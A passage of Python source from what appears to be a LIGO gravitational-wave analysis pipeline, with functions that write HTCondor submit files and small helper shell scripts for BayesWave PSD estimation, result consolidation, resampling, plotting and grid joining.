which("util_ILEdagPostprocess.sh") ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # Add manual options for input, output ile_job.add_arg(base) # what directory to load ile_job.add_arg(target) # where to put the output (label), in CWD # # NO OPTIONS # # arg_str = arg_str.lstrip() # remove leading whitespace and minus signs # arg_str = arg_str.lstrip('-') # ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) ile_job.add_condor_cmd('getenv', 'True') # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") ### ### SUGGESTION FROM STUART (for later) # request_memory = ifthenelse( (LastHoldReasonCode=!=34 && LastHoldReasonCode=!=26), InitialRequestMemory, int(1.5 * NumJobStarts * MemoryUsage) ) # periodic_release = ((HoldReasonCode =?= 34) || (HoldReasonCode =?= 26)) # This will automatically release a job that is put on hold for using too much memory with a 50% increased memory request each tim.e return ile_job, ile_sub_name def write_unify_sub_simple(tag='unify', exe=None, base=None,target=None,universe="vanilla",arg_str=None,log_dir=None, use_eos=False,ncopies=1,no_grid=False, **kwargs): """ Write a submit file for launching a consolidation job util_ILEdagPostprocess.sh # suitable for ILE consolidation. arg_str # add argument (used for NR postprocessing, to identify group) """ exe = exe or which("util_CleanILE.py") # like cat, but properly accounts for *independent* duplicates. (Danger if identical). Also strips large errors # Write unify.sh # - problem of globbing inside condor commands # - problem that *.composite files from intermediate results will generally NOT be present cmdname ='unify.sh' base_str = '' if not (base is None): base_str = ' ' + base +"/" with open(cmdname,'w') as f: f.write("#! /usr/bin/env bash\n") f.write( "ls " + base_str+"*.composite 1>&2 \n") # write filenames being concatenated to stderr f.write( exe + base_str+ "*.composite \n") st = os.stat(cmdname) import stat os.chmod(cmdname, st.st_mode | stat.S_IEXEC) ile_job = pipeline.CondorDAGJob(universe=universe, executable=base_str+cmdname) # force full prefix requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # Add manual options for input, output # ile_job.add_arg('*.composite') # what to do # # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file(target) ile_job.add_condor_cmd('getenv', 'True') # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_convert_sub(tag='convert', exe=None, file_input=None,file_output=None,universe="vanilla",arg_str='',log_dir=None, use_eos=False,ncopies=1, no_grid=False,**kwargs): """ Write a submit file for launching a 'convert' job convert_output_format_ile2inference """ exe = exe or which("convert_output_format_ile2inference") # like cat, but properly accounts for *independent* duplicates. (Danger if identical). Also strips large errors ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) if not(arg_str is None or len(arg_str)<2): arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line ile_job.add_arg(file_input) # # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file(file_output) ile_job.add_condor_cmd('getenv', 'True') # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_test_sub(tag='converge', exe=None,samples_files=None, base=None,target=None,universe="target",arg_str=None,log_dir=None, use_eos=False,ncopies=1, **kwargs): """ Write a submit file for launching a convergence test job """ exe = exe or which("convergence_test_samples.py") ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # Add options for two parameter files for name in samples_files: # ile_job.add_opt("samples",name) # do not add in usual fashion, because otherwise the key's value is overwritten ile_job.add_opt("samples " + name,'') # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file(target) ile_job.add_condor_cmd('getenv', 'True') # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_plot_sub(tag='converge', exe=None,samples_files=None, base=None,target=None,arg_str=None,log_dir=None, use_eos=False,ncopies=1, **kwargs): """ Write a submit file for launching a final plot. Note the user can in principle specify several samples (e.g., several iterations, if we want to diagnose them) """ exe = exe or which("plot_posterior_corner.py") ile_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # Add options for two parameter files for name in samples_files: # ile_job.add_opt("samples",name) # do not add in usual fashion, because otherwise the key's value is overwritten ile_job.add_opt("posterior-file " + name,'') # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file(target) ile_job.add_condor_cmd('getenv', 'True') # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_init_sub(tag='gridinit', exe=None,arg_str=None,log_dir=None, use_eos=False,ncopies=1, **kwargs): """ Write a submit file for launching a grid initialization job. Note this routine MUST create whatever files are needed by the ILE iteration """ exe = exe or which("util_ManualOverlapGrid.py") ile_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) ile_job.add_condor_cmd('getenv', 'True') # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_psd_sub_BW_monoblock(tag='PSD_BW_mono', exe=None, log_dir=None, ncopies=1,arg_str=None,request_memory=4096,arg_vals=None, transfer_files=None,transfer_output_files=None,use_singularity=False,use_osg=False,singularity_image=None,frames_dir=None,cache_file=None,psd_length=4,srate=4096,data_start_time=None,event_time=None,universe='local',no_grid=False,**kwargs): """ Write a submit file for constructing the PSD using BW Modern argument syntax for BW Note that *all ifo-specific results must be set outside this loop*, to work sensibly, and passed as an argument Inputs: - channel_dict['H1'] = [channel_name, flow_ifo] Outputs: - An instance of the CondorDAGJob that was generated for BW """ exe = exe or which("BayesWave") if exe is None: print(" BayesWave not available, hard fail ") sys.exit(0) frames_local = None ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') requirements =[] # # Logging options # uniq_str = "$(macroevent)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # # Loop over IFOs # You should only have one, in the workflow for which this is intended # Problem: ile_job.add_arg("$(macroargument0)") # # Add mandatory options ile_job.add_opt('Niter', '1000100') ile_job.add_opt('Nchain', '20') ile_job.add_opt('Dmax', '200') # limit number of dimensions in model ile_job.add_opt('resume', '') ile_job.add_opt('progress', '') ile_job.add_opt('checkpoint', '') ile_job.add_opt('bayesLine', '') ile_job.add_opt('cleanOnly', '') ile_job.add_opt('updateGeocenterPSD', '') ile_job.add_opt('dataseed', '1234') # make reproducible ile_job.add_opt('trigtime', str(event_time)) ile_job.add_opt('psdstart', str(event_time-(psd_length-2))) ile_job.add_opt('segment-start', str(event_time-(psd_length-2))) ile_job.add_opt('seglen', str(psd_length)) ile_job.add_opt('psdlength', str(psd_length)) ile_job.add_opt('srate', str(srate)) ile_job.add_opt('outputDir', 'output_$(ifo)') # Add lame initial argument if "output_file" in kwargs and kwargs["output_file"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["output_file"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) del kwargs["output_file"] if "save_samples" in kwargs and kwargs["save_samples"] is True: ile_job.add_opt("save-samples", None) del kwargs["save_samples"] # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', str(request_memory)) # Write requirements # From https://github.com/lscsoft/lalsuite/blob/master/lalinference/python/lalinference/lalinference_pipe_utils.py ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_psd_sub_BW_step1(tag='PSD_BW_post', exe=None, log_dir=None, ncopies=1,arg_str=None,request_memory=4096,arg_vals=None, transfer_files=None,transfer_output_files=None,use_singularity=False,use_osg=False,singularity_image=None,frames_dir=None,cache_file=None,channel_dict=None,psd_length=4,srate=4096,data_start_time=None,event_time=None,**kwargs): """ Write a submit file for launching jobs to marginalize the likelihood over intrinsic parameters. Inputs: - channel_dict['H1'] = [channel_name, flow_ifo] Outputs: - An instance of the CondorDAGJob that was generated for ILE """ exe = exe or which("BayesWavePost") if exe is None: print(" BayesWavePost not available, hard fail ") import sys sys.exit(0) frames_local = None ile_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) requirements =[] # # Logging options # uniq_str = "$(macroevent)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # # Add mandatory options ile_job.add_opt('checkpoint', '') ile_job.add_opt('bayesLine', '') ile_job.add_opt('cleanOnly', '') ile_job.add_opt('updateGeocenterPSD', '') ile_job.add_opt('Nchain', '20') ile_job.add_opt('Niter', '4000000') ile_job.add_opt('Nbayesline', '2000') ile_job.add_opt('dataseed', '1234') # make reproducible ile_job.add_opt('trigtime', str(event_time)) ile_job.add_opt('psdstart', str(event_time-(psd_length-2))) ile_job.add_opt('segment-start', str(event_time-(psd_length-2))) ile_job.add_opt('seglen', str(psd_length)) ile_job.add_opt('srate', str(srate)) # # Loop over IFOs # Not needed, can do one job per PSD # ile_job.add_opt("ifo","$(ifo)") # ile_job.add_opt("$(ifo)-cache",cache_file) for ifo in channel_dict: channel_name, channel_flow = channel_dict[ifo] ile_job.add_arg("--ifo "+ ifo) # need to prevent overwriting! ile_job.add_opt(ifo+"-channel", ifo+":"+channel_name) ile_job.add_opt(ifo+"-cache", cache_file) ile_job.add_opt(ifo+"-flow", str(channel_flow)) # Add lame initial argument if "output_file" in kwargs and kwargs["output_file"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["output_file"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) del kwargs["output_file"] if "save_samples" in kwargs and kwargs["save_samples"] is True: ile_job.add_opt("save-samples", None) del kwargs["save_samples"] # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', str(request_memory)) # Write requirements # From https://github.com/lscsoft/lalsuite/blob/master/lalinference/python/lalinference/lalinference_pipe_utils.py ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_psd_sub_BW_step0(tag='PSD_BW', exe=None, log_dir=None, ncopies=1,arg_str=None,request_memory=4096,arg_vals=None, transfer_files=None,transfer_output_files=None,use_singularity=False,use_osg=False,singularity_image=None,frames_dir=None,cache_file=None,channel_dict=None,psd_length=4,srate=4096,data_start_time=None,event_time=None,**kwargs): """ Write a submit file for launching jobs to marginalize the likelihood over intrinsic parameters. Inputs: - channel_dict['H1'] = [channel_name, flow_ifo] Outputs: - An instance of the CondorDAGJob that was generated for ILE """ exe = exe or which("BayesWave") if exe is None: print(" BayesWave not available, hard fail ") sys.exit(0) frames_local = None ile_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) requirements =[] # # Logging options # uniq_str = "$(macroevent)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # # Add mandatory options ile_job.add_opt('checkpoint', '') ile_job.add_opt('bayesLine', '') ile_job.add_opt('cleanOnly', '') ile_job.add_opt('updateGeocenterPSD', '') ile_job.add_opt('Nchain', '20') ile_job.add_opt('Niter', '4000000') ile_job.add_opt('Nbayesline', '2000') ile_job.add_opt('dataseed', '1234') # make reproducible ile_job.add_opt('trigtime', str(event_time)) ile_job.add_opt('psdstart', str(event_time-(psd_length-2))) ile_job.add_opt('segment-start', str(event_time-(psd_length-2))) ile_job.add_opt('seglen', str(psd_length)) ile_job.add_opt('srate', str(srate)) # # Loop over IFOs for ifo in channel_dict: channel_name, channel_flow = channel_dict[ifo] ile_job.add_arg("--ifo " + ifo) ile_job.add_opt(ifo+"-channel", ifo+":"+channel_name) ile_job.add_opt(ifo+"-cache", cache_file) ile_job.add_opt(ifo+"-flow", str(channel_flow)) ile_job.add_opt(ifo+"-timeslide", str(0.0)) # Add lame initial argument if "output_file" in kwargs and kwargs["output_file"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["output_file"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) del kwargs["output_file"] if "save_samples" in kwargs and kwargs["save_samples"] is True: ile_job.add_opt("save-samples", None) del kwargs["save_samples"] # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', str(request_memory)) # Write requirements # From https://github.com/lscsoft/lalsuite/blob/master/lalinference/python/lalinference/lalinference_pipe_utils.py ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_resample_sub(tag='resample', exe=None, file_input=None,file_output=None,universe="vanilla",arg_str='',log_dir=None, use_eos=False,ncopies=1, no_grid=False,**kwargs): """ Write a submit file for launching a 'resample' job util_ResampleILEOutputWithExtrinsic.py """ exe = exe or which("util_ResampleILEOutputWithExtrinsic.py") # like cat, but properly accounts for *independent* duplicates. (Danger if identical). Also strips large errors ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) if not(arg_str is None or len(arg_str)<2): arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line ile_job.add_opt('fname',file_input) ile_job.add_opt('fname-out',file_output) # # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file(file_output) ile_job.add_condor_cmd('getenv', 'True') # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_cat_sub(tag='cat', exe=None, file_prefix=None,file_postfix=None,file_output=None,universe="vanilla",arg_str='',log_dir=None, use_eos=False,ncopies=1, no_grid=False,**kwargs): """ Write a submit file for launching a 'resample' job util_ResampleILEOutputWithExtrinsic.py """ exe = exe or which("find") # like cat, but properly accounts for *independent* duplicates. (Danger if identical). Also strips large errors exe_switch = which("switcheroo") # tool for patterend search-replace, to fix first line of output file cmdname = 'catjob.sh' with open(cmdname,'w') as f: f.write("#! /bin/bash\n") f.write(exe+" . -name '"+file_prefix+"*"+file_postfix+"' -exec cat {} \; | sort -r | uniq > "+file_output+";\n") f.write(exe_switch + " 'm1 ' '# m1 ' "+file_output) # add standard prefix os.system("chmod a+x "+cmdname) ile_job = pipeline.CondorDAGJob(universe=universe, executable='catjob.sh') requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # ile_job.add_arg(" . -name '" + file_prefix + "*" +file_postfix+"' -exec cat {} \; ") # # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) ile_job.add_condor_cmd('getenv', 'True') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_convertpsd_sub(tag='convert_psd', exe=None, ifo=None,file_input=None,target_dir=None,arg_str='',log_dir=None, universe='local',**kwargs): """ Write script to convert PSD from one format to another. Needs to be called once per PSD file being used. """ exe = exe or which("convert_psd_ascii2xml") # like cat, but properly accounts for *independent* duplicates. (Danger if identical). Also strips large errors ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) ile_job.add_opt("fname-psd-ascii",file_input) ile_job.add_opt("ifo",ifo) ile_job.add_arg("--conventional-postfix") # # Logging options # uniq_str = "$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) if not (target_dir is None): # Copy output PSD into place ile_job.add_condor_cmd("+PostCmd", '" cp '+ifo+'-psd.xml.gz ' + target_dir +'"') ile_job.add_condor_cmd('getenv', 'True') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_joingrids_sub(tag='join_grids', exe=None, universe='vanilla', input_pattern=None,target_dir=None,output_base=None,log_dir=None,n_explode=1, gzip="/usr/bin/gzip", old_add=True, **kwargs): """ Write script to convert PSD from one format to another. Needs to be called once per PSD file being used. """ exe = exe or which("ligolw_add") # like cat, but properly accounts for *independent* duplicates. (Danger if identical). Also strips large errors # exe_here = "my_join.sh" # with open(exe_here,'w') as f: # f.write("#! /bin/bash \n") # f.write(r""" # #!/bin/bash # # Modules and scripts run directly from repository # # Note the repo and branch are self-referential ! Not a robust solution long-term # # Exit on failure: # # set -e # {} {} > {}/{}.xml # gzip {}.{}.xml""".format(exe,input_pattern,target_dir,output_base,target_dir,output_base) ) # os.system("chmod a+x "+exe_here) # exe = exe_here # update executable ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) fname_out =target_dir + "/" +output_base + ".xml.gz" ile_job.add_arg("--output="+fname_out) working_dir = log_dir.replace("/logs", '') # assumption about workflow/naming! Danger! # # Logging options # uniq_str = "$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # ile_job.set_stdout_file(fname_out) # ile_job.add_condor_cmd("+PostCmd", ' "' + gzip + ' ' +fname_out + '"') explode_str = "" for indx in np.arange(n_explode): explode_str+= " {}/{}-{}.xml.gz ".format(working_dir,output_base,indx) explode_str += " {}/{}.xml.gz ".format(working_dir,output_base) ile_job.add_arg(explode_str) # ile_job.add_arg("overlap-grid*.xml.gz") # working in our current directory if old_add: ile_job.add_opt("ilwdchar-compat",'') # needed? ile_job.add_condor_cmd('getenv', 'True') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_subdagILE_sub(tag='subdag_ile', exe=None, universe='vanilla', submit_file=None,input_pattern=None,target_dir=None,output_suffix=None,log_dir=None,sim_xml=None, **kwargs): """ Write script to convert PSD from one format to another. Needs to be called once per PSD file being used. """ exe = exe or which("create_ile_sub_dag.py") subfile = submit_file or 'ILE.sub' ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) ile_job.add_arg("--target-dir "+target_dir) ile_job.add_arg("--output-suffix "+output_suffix) ile_job.add_arg("--submit-script "+subfile) ile_job.add_arg("--macroiteration $(macroiteration)") ile_job.add_arg("--sim-xml "+sim_xml) working_dir = log_dir.replace("/logs", '') # assumption about workflow/naming! Danger! # # Logging options # uniq_str = "$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # ile_job.set_stdout_file(fname_out) # ile_job.add_condor_cmd("+PostCmd", ' "' + gzip + ' ' +fname_out + '"') ile_job.add_condor_cmd('getenv', 'True') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO 